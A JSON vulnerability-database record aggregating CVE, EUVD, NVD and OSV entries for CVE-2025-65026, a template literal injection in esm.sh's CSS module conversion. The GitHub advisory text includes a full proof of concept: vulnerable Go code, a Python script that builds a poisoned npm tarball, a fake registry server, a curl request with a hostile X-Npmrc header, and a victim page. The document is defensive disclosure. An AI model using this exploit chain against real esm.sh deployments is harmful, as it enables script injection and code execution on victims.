{"id":"EUVD-2025-198180","revision":null,"records":[{"revision":"5e59d2f79f4b4724b4b1b475f3917c2e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-65026","aliases":[],"title":"esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript","description":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.","state":0,"publishedAt":"2025-11-19T17:33:11.469+00:00","modifiedAt":"2025-11-20T14:19:17.852+00:00","affected":[{"ecosystem":"Vendor product","name":"esm.sh","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"esm-dev\",\n                    \"product\": \"esm.sh\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 136\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp","https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-65026","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-65026","identifiers":["CVE-2025-65026"]},"retained":false,"historicalAffected":[]},{"revision":"0cd7021527db46958282abdfd48f2fbf","observedAt":"2026-11-09T04:07:55.866+00:00","statement":{"source":"euvd","id":"EUVD-2025-198180","aliases":["CVE-2025-65026","GHSA-hcpf-qv9m-vfgp"],"title":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When…","description":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":null}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp","https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-198180","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 19, 2025, 5:33:11 PM","dateUpdated":"Nov 20, 2025, 2:19:17 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-198180","identifiers":["EUVD-2025-198180","CVE-2025-65026","GHSA-hcpf-qv9m-vfgp"]},"retained":false,"historicalAffected":[]},{"revision":"d8dac3a274624e62bf5d1ec2bc6c9762","observedAt":"2026-10-25T03:17:36.152+00:00","statement":{"source":"nvd","id":"CVE-2025-65026","aliases":[],"title":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When…","description":"esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.","state":0,"publishedAt":"2025-11-19T18:15:50.023+00:00","modifiedAt":"2026-10-18T20:10:00.11+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c","https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-65026","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94","CWE-79"],"productCriteria":["cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2025-11-19T18:15:50.023","lastModified":"2026-10-18T20:10:00.110"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-65026","identifiers":["CVE-2025-65026"]},"retained":false,"historicalAffected":[]},{"revision":"148850c5d9194d0f8fe40d62bee67fd1","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-hcpf-qv9m-vfgp","aliases":["CVE-2025-65026","GO-2025-4139"],"title":"esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript","description":"### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile && strings.HasSuffix(esm.SubPath, \".css\") && query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, '`') {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // ← CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: '1.0.0' };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('/<package>')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('/<package>/-/<filename>')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n> Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}'\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>CSS Injection Victim Page</title>\n</head>\n<body>\n    <script type=\"module\">\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log('Styles loaded:', styles);\n    </script>\n</body>\n</html>\n```\n<img width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" />\n\n### in esm.sh Playground\n<img width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" />\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)","state":0,"publishedAt":"2025-11-19T20:31:55+00:00","modifiedAt":"2025-11-27T09:09:00.522842+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20251118065157-87d2f6497574"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp","https://nvd.nist.gov/vuln/detail/CVE-2025-65026","https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c","https://github.com/esm-dev/esm.sh"],"sourceUrl":"https://github.com/advisories/GHSA-hcpf-qv9m-vfgp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hcpf-qv9m-vfgp","identifiers":["GHSA-hcpf-qv9m-vfgp","CVE-2025-65026","GO-2025-4139"]},"retained":false,"historicalAffected":[]},{"revision":"856f1f9914ab4ce393c01f65c24caa10","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-4139","aliases":["CVE-2025-65026","GHSA-hcpf-qv9m-vfgp"],"title":"esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript in github.com/esm-dev/esm.sh","description":"esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript in github.com/esm-dev/esm.sh","state":0,"publishedAt":"2025-11-25T18:12:18+00:00","modifiedAt":"2026-03-03T04:57:40.154918+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20251118065157-87d2f6497574"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp","https://nvd.nist.gov/vuln/detail/CVE-2025-65026","https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-4139","license":"OSV · upstream source license applies","key":"osv:GO-2025-4139","identifiers":["GO-2025-4139","CVE-2025-65026","GHSA-hcpf-qv9m-vfgp"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-09T06:02:15.5744295+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-09T06:02:15.5744295+00:00","lastSuccessAt":"2026-11-09T06:02:15.8100724+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.8100756+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-24e6fde7b744113daefb8f6135035fb8a5c69c9617c9c0d40574a0376532ffd3-61bf15172f364246efc204ad9b25e3f89710939e13c23b3efb3d009b5fdad808","complete":true,"records":421290,"lastAttemptAt":"2026-11-09T06:02:14.4940664+00:00","lastSuccessAt":"2026-11-09T05:02:14.5253969+00:00","error":"HttpRequestException","lastVerifiedAt":"2026-11-09T05:02:14.5383867+00:00","snapshotPublishedAt":"2026-11-09T04:29:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-52f0bd58a8564ba89a1952b43ef3bc92","complete":false,"records":13654,"lastAttemptAt":"2026-11-09T06:14:09.0160642+00:00","lastSuccessAt":"2026-11-09T06:14:09.013+00:00","error":"8 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-09T06:14:09.013+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13674,"expectedIdentifiers":13706,"failedIdentifiers":8},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-09T06:02:15.5744295+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-09T06:02:15.5744295+00:00","lastSuccessAt":"2026-11-09T06:02:15.8108397+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.81084+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-5a44a451442747cb81d83104fe1e7771","complete":true,"records":13666,"lastAttemptAt":"2026-11-09T06:02:16.371904+00:00","lastSuccessAt":"2026-11-09T02:08:52.274+00:00","error":null,"lastVerifiedAt":"2026-11-09T02:08:52.274+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-09T06:02:15.5156789+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.5156789+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-09T06:02:14.6970768+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:14.6970768+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f6d341f4320a5a0c059c28102ee651c3dd06abc87b84d2bafa4e2a823ec07d35","complete":true,"records":3056,"lastAttemptAt":"2026-11-09T06:02:15.5284383+00:00","lastSuccessAt":"2026-11-09T05:02:23.1539412+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.5284383+00:00","snapshotPublishedAt":"2026-11-09T04:47:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6a1c845b1938b1aa788f0e95c9ac8a8d5a1f07caed5d155840b0616b548c1455","complete":true,"records":231296,"lastAttemptAt":"2026-11-09T06:02:15.4064738+00:00","lastSuccessAt":"2026-11-09T04:03:49.859595+00:00","error":null,"lastVerifiedAt":"2026-11-09T06:02:15.4064738+00:00","snapshotPublishedAt":"2026-11-09T03:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}